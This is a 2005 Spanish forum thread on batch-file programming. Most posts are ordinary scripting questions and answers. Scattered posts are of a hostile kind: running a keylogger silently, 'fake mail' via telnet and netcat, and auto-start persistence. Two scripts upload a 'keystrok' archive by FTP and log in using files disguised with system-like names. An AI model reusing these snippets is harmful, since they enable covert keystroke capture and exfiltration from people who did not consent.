for /f "tokens=1-4 delims=/ " %%a in ('date /t') do (set ndia=%%a& set dia=%%b& set mes=%%c& set año=%%d)
set directorio=fecha%dia%%mes%%año%

for /f "tokens=1-3 delims=: " %%x  in ('time /t') do (set hora=%%x& set minuto=%%y& set meridiano=%%z)

set directorio=%directorio%%separa%%hora%%minuto%%meridiano%

mkdir %directorio%


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 23 Enero 2005, 23:50 pm
Hola
Citar
Puedo enviar emails atraves de los BATS?
Directamente no, no hay ningún comando para ello. Lo que si puedes hacer es un bat que llame a aplicaciones que si son capaces de hacerlo.
Para ello te recomiento que mires la técnica de 'fake mail' y herramientas como telnet y netcat.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: dani_travieso en 27 Enero 2005, 03:20 am
hola

Tengo un problemita seguro para usetd sera una casilla, es que no se programar en bat.

Bueno este es mi problemita, como puedo crear un bat que me ahorre el tiempo en darle doble click a esto archivos y de pase ejecute el archivo winvnc.exe:

archivo 1 : install.bat
archivo 2 : install_silent.bat
archivo 3 : winvnc.exe

Solo quiero dar doble click al bat creado por usted y listo que solo aparezca el la opcion de configuracion del programa ejecutado `por  el bat


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: davidpg en 27 Enero 2005, 06:24 am
Hola a todos, soy nuevo en esto de la programación y me gustaria saber si es posible crear un bat que me permita enviar un mail automatico a una direccion concreta y despues ejecutar el cierre de sistema.
Segun lo que vengo leyendo en los distintos foros, este incluido, mi programa es como sigue:

echo off
:EnviaMens
start.exe /w mailto:?to="davidpg@telepolis.com"&subject="Cierre de Sistema" -h
:CierraApl&Sis
RUNDLL32.EXE SHELL32.DLL,SHExitWindowsEx 6

Haber si alguien me puede ayudar xfavor, lo necesito. Muchas gracias.


Título: GOTO y XP ERROR '
Publicado por: jorges en 3 Marzo 2005, 18:40 pm
Bueno de nuevo por aqui con un problema :

Porque la siguiente sentencia es valida en win98 y en Xp me da error ?
CD C:\DOCUME~1\J\ESCRIT~1\C

IF NOT EXIST 1 RENAME A 1.TXT GOTO FIN
IF NOT EXIST 2 RENAME A 2.TXT GOTO FIN
IF NOT EXIST 3 RENAME A 3.TXT GOTO FIN

:FIN

En Win98 instruccion correcta en Xp "La sintaxis del comando no es correcta"

Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 10 Marzo 2005, 04:51 am
Hola
Citar
CD C:\DOCUME~1\J\ESCRIT~1\C
Esa trayectoria no es correcta a menos que tengas en el escritorio una carpeta llamada C

Citar
IF NOT EXIST 1 RENAME A 1.TXT GOTO FIN

Eso no es correcto. Exist devuelve true si existe un fichero y false si no existe. Lo correcto sería
IF NOT EXIST MIARCHIVO.TXT ...

La orden IF NOT EXIST 1 RENAME A 1.TXT GOTO FIN está mal
IF NOT EXIST 1 (si no existe el archivo '1')
RENAME A 1.TXT (renombra el archivo A como 1.txt)
Supongo que note refieres al 1 anterior, porque no es lo mismo 1 que 1.txt.

Por último la orden exist no admite dos órdenes si se cumple la condición. Tu has puesto
Citar
IF NOT EXIST 1 condición1 condición2
lo correcto sería
Código:
IF NOT EXIST 1 GOTO NOEXISTE1
GOTO CONTINUAR
:NOEXISTE1
RENAME A 1.TXT
:CONTINUAR


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: pulposo en 13 Marzo 2005, 11:29 am
yo de programacion bastante mal, pero ahora me ha cogido por aprender, y que mejor que en bat.

El caso es que me gustario hacer un registro con el.bat, pero cogiendo el directorio donde se ha instalado el programa, diria que un %1 o una cosa asi.

Si hago En el.bat

"Directorio instalacion"="%1">>pep.reg
No me sirve de nada

Creo que tengo de hacer variables y ni pum, y lo ideal seria sin ayuda del usuario,es decir automatizado.

Gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Dark Shadow en 15 Marzo 2005, 06:09 am
Podeis ayudarme a crear ese programa?

Lo he posteado en el siguiente post:
http://foro.elhacker.net/index.php/topic,61883.0.html

Grácias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soft en 20 Marzo 2005, 07:51 am
una pregunta con un bat se puede crear un keylogger???


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 21 Marzo 2005, 18:26 pm
No, pero se puede ejecutar un keylogger de forma silenciosa.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Listen to the dark en 21 Marzo 2005, 19:03 pm
me encanto el tuto de este post,yo ando aprendiendo este ""lenguaje"" y no ando nada mal.... pero me surgen grandes problemas a la ora de poner en practica estos "programillas" o codigos por lotes,en las distintas versiones de windows....

para empezar si yo qiero qe un batch rule al inicio de windows tengo varias opciones:
-insertar el codigo en el registro
-insertar el codigo en >> c:\autoexec.bat
-o mover el bat a la carpeta inicio

como ven no ando perdido.... o si???? el caso es que ninguna de las tres formas soy capaz de llevarlas ala practica....jejeje.

-mi primer problema es que no se generar un archivo de
 registro a traves de un bat que rule con windows...

-el segundo problema es que en winxp el autoexec.bat queda
 desabilitado del inicio de windows,es decir no se ejecuta con
 windows.....

-mi tercer y mas preocupante problema es que el siguiente
 codigo no rula:

-----------------------------------
@echo off
c:
cd\
echo codigo>> c:\prueba.bat
move c:\prueba.bat c:\"Documents and Settings"\"All Users"\"Menú Inicio"\"Programas"\"Inicio"\prueba.bat
exit
-----------------------------------

como ven es bien simple,y lo que intento es mover el archivo creado por el mismo bat al inicio..pero no lo mueve,no se porque.luego haciendo pruebas adverti qe si ponia esto:

-----------------------------------
@echo off
c:
cd\
echo codigo>> c:\prueba.bat
move c:\prueba.bat c:\"Documents and Settings"\"All Users"\Prueba.bat
exit
------------------------------------

este si funcionaba....!!!! por que???? es decir,con el codigo batch no era capaz de "traspasar" la carpeta "MENU INICIO"...
lo probe de mil maneras,con comillas,sin comillas,con mayusculas,sin ellas,con asteriscos,una combinacion tras otra sin resultados.......

estaria muy agradecido si me pudieran ayudar.....gracias por vuestro tiempo....


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Listen to the dark en 23 Marzo 2005, 19:09 pm
Alguien sabria como hacerlo???


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: joss7 en 28 Marzo 2005, 01:01 am
Muxas gracias,me a servido de muxo. ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: gattoloco en 30 Marzo 2005, 12:17 pm
Hola, Espero no molestar a nadie con mi inquietud... jejeje

Bueno, deseo eliminar un directorio con un bat.... facil ...creo

mas o menos así:

if exist (CARPETA) RMDIR (carpeta)

Pero como dicen NO RULA ¨PARA NADA¨

Espero que alguno me pueda ayudar.



PROMETEO


Título: TUTORIAL PROGRAMACION BAT
Publicado por: wilrey en 5 Abril 2005, 05:01 am
Hola a todos, por favor alguien que me colabore.....
estoy empezando a programar en bat y necesito crear bat que me genere un log y backup cada vez que inserto un valor en una aplicacion tipo nomina.

Espero me puedan ayudar

Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Natanael en 9 Abril 2005, 08:01 am
Código:
@echo off
cls
set %1
set dia=00
set mes=00
set año=00
if %OS% == Windows_NT goto winnt
goto win9x
:winnt
date /t > date.txt
goto dia
:win9x
date <intro.txt |find "actual" >date.txt
goto dia
:dia
find " 01/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=01
find " 02/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=02
find " 03/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=03
find " 04/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=04
find " 05/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=05
find " 06/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=06
find " 07/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=07
find " 08/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=08
find " 09/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=09
find " 10/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=10
find " 11/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=11
find " 12/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=12
find " 13/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=13
find " 14/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=14
find " 15/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=15
find " 16/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=16
find " 17/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=17
find " 18/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=18
find " 19/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=19
find " 20/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=20
find " 21/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=21
find " 22/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=22
find " 23/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=23
find " 24/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=24
find " 25/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=25
find " 26/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=26
find " 27/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=27
find " 28/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=28
find " 29/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=29
find " 30/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=30
find " 31/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=31
:mes
find "/01/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=01
find "/02/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=02
find "/03/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=03
find "/04/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=04
find "/05/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=05
find "/06/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=06
find "/07/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=07
find "/08/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=08
find "/09/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=09
find "/10/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=10
find "/11/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=11
find "/12/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=12
:año
find "2004" <date.txt
if errorlevel 0 if not errorlevel 1 set año=04
find "2005" <date.txt
if errorlevel 0 if not errorlevel 1 set año=05
find "2006" <date.txt
if errorlevel 0 if not errorlevel 1 set año=06
:carpeta
cls
md %1%dia%-%mes%-%año%
:end
En Win98 no me funciono, pero...
Código:
@echo off
cls
set %1
set dia=00
set mes=00
set año=00
:win9x
ECHO.|date|FIND "actual" >date.txt
goto dia
:dia
find " 01/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=01
find " 02/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=02
find " 03/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=03
find " 04/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=04
find " 05/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=05
find " 06/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=06
find " 07/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=07
find " 08/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=08
find " 09/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=09
find " 10/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=10
find " 11/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=11
find " 12/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=12
find " 13/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=13
find " 14/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=14
find " 15/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=15
find " 16/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=16
find " 17/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=17
find " 18/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=18
find " 19/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=19
find " 20/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=20
find " 21/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=21
find " 22/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=22
find " 23/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=23
find " 24/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=24
find " 25/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=25
find " 26/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=26
find " 27/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=27
find " 28/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=28
find " 29/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=29
find " 30/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=30
find " 31/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=31
:mes
find "/01/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=01
find "/02/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=02
find "/03/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=03
find "/04/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=04
find "/05/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=05
find "/06/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=06
find "/07/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=07
find "/08/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=08
find "/09/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=09
find "/10/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=10
find "/11/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=11
find "/12/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=12
:año
find "2004" <date.txt
if errorlevel 0 if not errorlevel 1 set año=04
find "2005" <date.txt
if errorlevel 0 if not errorlevel 1 set año=05
find "2006" <date.txt
if errorlevel 0 if not errorlevel 1 set año=06
:carpeta
cls
md %1%dia%-%mes%-%año%
:end
si me funciona...
Bueno...
Quisiera saber como cambiar colores en bat
lo vi 1 ves en un bat trial q me habia bajado pero lo perdi (al bat)
ChauxX


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: acrego en 11 Abril 2005, 13:55 pm
Buenas a todos, tengo un pequeño problema, tengo un bat y lo que quiero que me haga es que me copie un fichero en otro equipo.
Le tengo un:

if not exist datos.txt  copy datos.txt

yo lo que consegui es que si no existe la primera vez me lo copie un sola vez, y quisiera que lo repitiera hasta que lo copie, que si hace falta lo repita 20 veces.

un saludo a todos. ;D


Título: Duda en bat
Publicado por: rolas en 13 Abril 2005, 19:00 pm
Tengo un archivo .bat en un servidor y cada ves que se inicia una sesion de usuario se ejecuta el .bat en esa maquina, nada mas lo tengo para que tome la hora del servidor.
Pero quiero poner el mismo fondo de pantalla a todos los usuarios. Alguien pude ayudarme, o informarme si se puede o no  ???????


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 14 Abril 2005, 21:48 pm
Hola
Eso no se corresponde con este hilo. Mira como funcionan los perfiles de usuario en Windows

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Alejandroa76 en 15 Abril 2005, 16:07 pm
Hola, soy nuevo en el foro y queria consultar lo siguiente:
Tengo 3 maquinas en red y quería hacer un BAT que haga un ping a cada máquina para saber el estado de las mismas (encendido/apagado). Que me aconsejan?
¿como puedo hacer que el PING devuelva solo llegue o no llegue, en lugar de las 8 lineas de siempre?
Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 15 Abril 2005, 19:16 pm
Hola
Código:
@echo off
echo "Comprobando el primero ..." >test
ping A.B.C.D -n 1 >>test
echo "--------------------------------" >>test
echo "Comprobando el segundo ..." >>test
ping A.B.C.D -n 1 >>test
echo "--------------------------------" >>test
echo "Comprobando el tercero ..." >>test
ping A.B.C.D -n 1 >>test
echo " ------------- fin -------------" >>test

Observa que la primera vez pongo ">test" para borrar el archivo 'test' y crear uno nuevo
En los demás casos pongo ">>test" para escribir en ese archivo sin borrarlo
El parámetro -n 1 de ping le indica que envíe un solo paquete y el resultado es enviado al archivo test

Un saludo


Título: duda con archivo BAT
Publicado por: rolas en 18 Abril 2005, 19:08 pm
Soplo perdón pero tal ves no me explique bien, lo que pasa es que tengo ese archivo bat en el servidor y todos mis usuarios tienen distinto fondo de pantalla y lo que quiero es ponerles a todos el mismo fondo de pantalla, pero para no irme de maquina en maquina quería saber si se puede ponerlo en este archivo bat y que cada ves que inicien sesión lo ponga ya que ellos pueden modificar este fondo.

Saludos y Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 18 Abril 2005, 22:01 pm
Hola
Los perfiles de usuario indican el protector de pantalla, el tema de windows, la carpeta de trabajo y la configuración del menú inicio. Cuando administras una red en vez de poner a todos igual creas un perfil y luego pones a los usuarios a usar ese perfil.

De esta manera puedes hacer que vaya al ordenador que vaya, al identificarse contra el servidor vea siempre el mismo ordenador (esté donde esté), con sus trabajos en mis documentos y su menú inicio.

El único problema es que los perfiles funcionan de manera distinta en win98 y win2k/xp por lo que si tienes redes mixtas deberás realizar los perfiles y averiguar que windows tiene el usuario antes de cargar su perfil.

También puedes hacerlo desde un servidor Samba (tengo un par de redes con ello y funciona bien).

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Umbrella en 19 Abril 2005, 04:35 am
Bueno muchachos realmente soy muy nuevo en estoy pero muy interesado alquien me podria agregar y enseñarme algo??? PLEASE?? mi correo es: soldados_comandos@hotmail.com


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: WarriorDC en 22 Abril 2005, 15:12 pm
Hola Hola!!! :)

mi duda es la siguiente, eh creado un archivo bat que copia un archivo de una carpeta a otra, pero lo que quisiera es que me verifique los archivos que existen de un lado y de otro y solo me copie los archivos que no existen en la carpeta de destino, tambien cuando borro un arhivo archivo desde un comando quisiera que no me pregunte la confirmacion,

Gracias.. ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 24 Abril 2005, 14:41 pm
Hola
Citar
quisiera es que me verifique los archivos que existen de un lado y de otro y solo me copie los archivos que no existen en la carpeta de destino,
Para ello mira la orden for (para comprobar todos) y luego la orden 'if exist'


Citar
cuando borro un arhivo archivo desde un comando quisiera que no me pregunte la confirmacion
La forma de evitar que salga un mensaje es redirigiendo la salida (por ejemplo 'del archivo.txt >log' y la forma de hacer que acepte alguna respuesta (si no hay un parámetro para ello) es redirigir la entrada 'del archivo.txt <respuesta.txt' donde respuesta.txt es un archivo que contiene la respuesta que el comando va a solicitar.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: josepbravo en 28 Abril 2005, 12:12 pm

Hola buenas a todos

Queria aprender a hacer una suma en un fichero de lotes .bat.. es posible? He mirado por internet y no he encontrado nada...

Si es posible por favor indicarme un pequeño ejemplo, de una variable que sume por ejemplo 1 + 1.... : )


Título: Re: crear bat de envio de ficheros
Publicado por: serchmon en 28 Abril 2005, 20:40 pm
--------------------------------------------------------------------------------
hola

soy nuevo en este foro. tengo un problema y espero que me ayudeis y si este no es el lugar de este mensaje, espero que el moderador lo ponga en el lugar correo.

El problema es el siguiente, quiero crear un bat para que envie un fichero a traves de mail y todo en msdos o algo parecido.

El problema es que tengo una tienda y me han cambiado el router de la adsl y desde la oficina no me puedo conectar. El asunto es el siguiente, es conseguir que me envie la ip publica que se le asigne cada vez que se inicie el ordenador. Ya se  que sino se apaga el router no cambia pero tengo problemas para saber la ip.

Entonces por ejemplo en www.adsl4ever.com me informa de la ip, quiero intentar conseguirla de alguna manera, copiarla en un fichero y enviarlo por mail.

Gracias por todo.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: juver en 29 Abril 2005, 17:56 pm
HOLA
mi duda es si puedo hacer un bat, para que cambie la fecha del registro para hacer que no caduque mi antivirus, o como lo hago, automatizado.. gracias de ante mano ;)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: chulo en 30 Abril 2005, 01:41 am
 :-[
men soplo

nesecito un favor nesecito enviar un archivo zip a un ftp
server usando un bat reviso en D.O.S y me funca pero al ingresar la informacion en el .bat se para en usuario y no continua poniendolo
ejemplo: ::)

echo off
rar u C:\Docume~1\Alluse~1\Escrit~1\respaldo-keystrok.zip
ftp 192.168.0.1
usuario
contraseña
send C:\Docume~1\Alluse~1\Escrit~1\respaldo-keystrok.zip
quit
echo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: mangeles3d en 3 Mayo 2005, 00:28 am
Como puedo hacer para iniciar una sesion TELNET y conectarme a mi servidor de correos y mandar un correo???
alguna sugerencia..?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 3 Mayo 2005, 02:16 am
Situate sobre el link que pongo, dale al botón drcho del ratón, guardar como..y si tienes mozilla savelink as..


http://www.forohxc.com/Docs/Seguridad/Reyes/Seguridad_Practica07.pdf



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: @p@nick@ en 3 Mayo 2005, 15:22 pm

Hola buenas a todos

Queria aprender a hacer una suma en un fichero de lotes .bat.. es posible? He mirado por internet y no he encontrado nada...

Si es posible por favor indicarme un pequeño ejemplo, de una variable que sume por ejemplo 1 + 1.... : )


http://foro.elhacker.net/index.php/topic,68937.0.html


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: rpp en 3 Mayo 2005, 18:18 pm
hola, soy nuevo dentro del foro aunque ya lo habia visistado muchas veces con invitado, el problema que tengo es que necesito enviar un archivo a un servidor ftp, pero me gustaria saber como hacerle para que tome el nombre del usuario y contraseña automaticamente sin que tenga que darsela....

este es el codigo que tengo, pero hasta ahi llegue

@echo off
rem Inicia sesion en el servidor FTP
ftp 125.128.1.256
user
password
pause


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: rpp en 4 Mayo 2005, 16:49 pm
Caballeros ya encontre la solucion para mi problema pero la comparto con ustedes por si le sirve a laguien.

@echo off
rem Inicia sesion en el servidor FTP
ftp -s:Coman.txt 124.102.23.5

en la ultima linea estoy indicando con el -s:Coman.txt el nombre del archivo donde se encuentran guardados los comandos que va a ejecutar el ftp seguido de la direccion ip a la que me voy a conectar; dentro del archivo Coman.txt tengo el nombre del usuario, la contraseña y los comandos que se van a ejecutar:

Ejemplo:
Marco
12345
binary
hash
bye


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: lord_Kreator en 12 Mayo 2005, 06:34 am
Saludos..
tengo el siguiente codigo en un archivo por lotes:
@echo off
echo USER Admin > c:\win32k.txt
echo 1234 >> c:\win32k.txt
echo send c:\win32k.txt
ftp -n -s:c:\win32k.dll ftp.host.com

Lo q hace este codigo es loguearme a mi servidor ftp, pero, siempre existe este bendito "pero",el problema q tengo es q cuando creo el archivo win32k.txt al USER Admin y al 1234 le agrega un espacio al final, y por ese espacio es mi bendito problema, ya q lo probe eliminado ese espacio y funciona ok. como hago para eliminar ese espacio al momento de ejecutarse el bat, porq lo q quiero esq el usuario solamente ejecute ese bat y se loguee.
Por favor alguna ayudita


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 12 Mayo 2005, 18:25 pm
Hola
Tu problema no es un espacio. En msdos a cada línea de un proceso bat se le añade el retorno de carro y salto de línea que se corresponden al código ascii 10 y luego el 13. Esto ocurre cada vez que pulsas enter.

Yo tuve un problema semejante (pero en una shell script en linux) y allí se inserta solo el salto de línea (código 10).

El caso es que no fuí capaz de solucionarlo.


Título: [MOD] bat autorun unidades
Publicado por: compuman en 17 Mayo 2005, 17:50 pm
Hola a todos, quiero saber si alguien me puede ayudar a crear aun bat, para insertarlo en un cd, y con un autorun ejecutarlo, lo que necesito es que ese bat copie la carpeta que viene en el cd con todas las subcarpetas y archivos que tiene, y si de una vez se puede, como le hago para que el bat cheque cual es la unidad de cd que se esta utilizando? por que hay en algunas maquinas que suele ser unidad D: y en otras E: seria de gran ayudaaaaaaaa.

Gracias..... :o


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: el-brujo en 17 Mayo 2005, 18:43 pm
¿ayudar o que te lo haga directamente?

Creo que hay suficiente documentación como para hacerlo tu mismo:

TUTORIAL PROGRAMACION BAT
http://foro.elhacker.net/index.php/topic,18148.0

alguien sabe hacer archivos .bat?
http://foro.elhacker.net/index.php/topic,17109.0

Alguien puede ayudarme con los .bat
http://foro.elhacker.net/index.php/topic,13792.0

Creación de archivos *.bat. Win2k.
http://foro.elhacker.net/index.php/topic,2531.0

alguien kien sepa virus.bat
http://foro.elhacker.net/index.php/topic,9790.0



Crear un autorun para CD
http://foro.elhacker.net/index.php/topic,12188.0.html

Boot cd Windows XP
http://foro.elhacker.net/index.php/topic,21166.0.html

'Programacion' de un "autorun"?
http://foro.elhacker.net/index.php/topic,37927.0.html

crear un autorun para server 
http://foro.elhacker.net/index.php/topic,22601.0.html

autoruns...i programa para fotos! please!
http://foro.elhacker.net/index.php/topic,16458.0.html

cd autoejecutable
http://foro.elhacker.net/index.php/topic,32496.0.html


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: compuman en 18 Mayo 2005, 21:40 pm
Gracias por la ayuda, ya tengo el auto run, lo unico que pasa es que utilizo el comando xcopy y no hace nada, se cierra automaticamente la ventana del DOS. como les explicaba en el mensaje anterior quiero que al meter el cd en la compu el autorun ejecute al bat(el autorun ya lo hize)y que en el bat este la orede de copiar las carpetas que tiene el CD a una direccion esprecifica en C:, ya utilize el comando copy, y el xcopy pero no hace nada, lo probe con la unidad A: y si funciona que estara pasando?????, si alguein me puede orientar se lo agradeceria, y si pueden postear algo relacionado a esto mejor......   (si no es mucha molestia, me gustaria que postearan un ejemplo de lo que pido graciasss!!!!!!!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: compuman en 30 Mayo 2005, 21:22 pm
Hola a todos, espero me puedan ayudar, ya hice lo que pedia anteriomente, ahora lo que pasa y mi duda es que cuando le doy por ejemplo : Xcopy d: c: /s/e etc.etc. me refiero a esto que cuendo estoy en la unidad d: me va a dar ese comando ok??? quiero saber en la programacion, como se le hace para que solito busque la unidad del cd rom que tiene asignada la maquina, por que en algunos casos es la letra d: y en otros es alguna diferente ok??? lo que pasa es que lo pregunto por que cuando se ejecute mi .bat yo lo puse asi, y si la unidad de cd en la maquina en la que ponga el cd es otra me va a hacer la misma accion????? osea copiar los archivos que estan en el cd????, por eso quiero saber si hay algun comodin para ponerlo o como le hago!!!?????????? ;D

Gracias por la ayuda....... 8)


Título: Duda
Publicado por: luisbg en 2 Junio 2005, 22:07 pm
Hola Mi pregunta es la siguiente:

Yo quiero ejecutar un programa que te pide que ingreses algo por pantalla, y quiero automatizarlo y que lo meta el solo como lo haria?

mi problema es que una vez ejecuto el programa, no se siguen ejecutando las demas lineas de codigo, me gustaria saber si es posible hacer esto.

Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 3 Junio 2005, 12:04 pm
hola
Pues tienes que cambiar el dispositivo de entrada por defecto.

Normalmente es el teclado, pero tu puedes decirle que lea de un fichero

Para ello haces:
APLICACION menor_que FICHERO.TXT

lo de menor_que corresponde a la tecla del teclado. Es que me acabo de dar cuenta que no me funciona.

Un salludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: luisbg en 3 Junio 2005, 13:03 pm
Muchas gracias SOPLO, pero cuando pones fichero .txt tendria que estar en el directorio donde ejecuto la aplicacion no? es que si pongo la ruta no me la acepta :(, igual que cuando quiero ejecutar la aplicacion y pongo la ruta directamente no me la acepta :( sabrias como?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 3 Junio 2005, 14:19 pm
Hola
En principio no debe haber ningún problema por poner trayectorias tant oen el ejecutable como en el fichero de entrada.

Comprendo que pueda haber algún problema en el ejecutable (no por que lo ejecutes sino porque necesite algún archivo que no tenga disponible por ejecutarlo en otra ubicación, sin embargo no debería pasar en absoluto en el fichero de entrada puesto que solo debe acceder a él para leerlo.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Güan en 7 Junio 2005, 22:23 pm
   Y como se pueden borrar valores de una klave del registro?
                       
                          Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jvchino en 8 Junio 2005, 07:57 am
Borrar claves y valores

Podemos usar REG.EXE para borrar claves y valores. La sintaxis es:

Código:
reg delete [\\equipo\]clave  [{/v valor | /ve | /va}] [/f]

Parámetros

  • equipo: nombre del equipo remoto (equipo local si se omite).
  • clave: nombre completo de la subclave a eliminar o donde se elimina, empezando desde la raíz (se pueden usar abreviaturas: HKLM, HKU, etc.).
  • /va: elimina todos los valores de la subclave y el contenido del valor predeterminado.
  • /ve: elimina el valor predeterminado de la subclave (más apropiado sería decir que deja sin determinar su contenido, pues el valor predeterminado de una clave no deja de existir hasta que no deja de existir la clave).
  • /v valor: elimina el valor de nombre valor de la clave (se debe encerrar entre comillas si incluye espacio/s).
  • /f: fuerza a REG.EXE a eliminar las subclaves y valores sin confirmación.


Saludos.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 8 Junio 2005, 20:19 pm
Vaya vaya vaya

¿Quién dice que aquí no se aprende?
¡Pues quien lo diga que venga a elhacker y lea!

Gracias jvchino
 ;D

¿Has pensado la cantidad de posibilidades que abre esto?

Un saludo


Título: TUTORIAL PROGRAMACION BAT
Publicado por: wago20 en 12 Junio 2005, 06:49 am
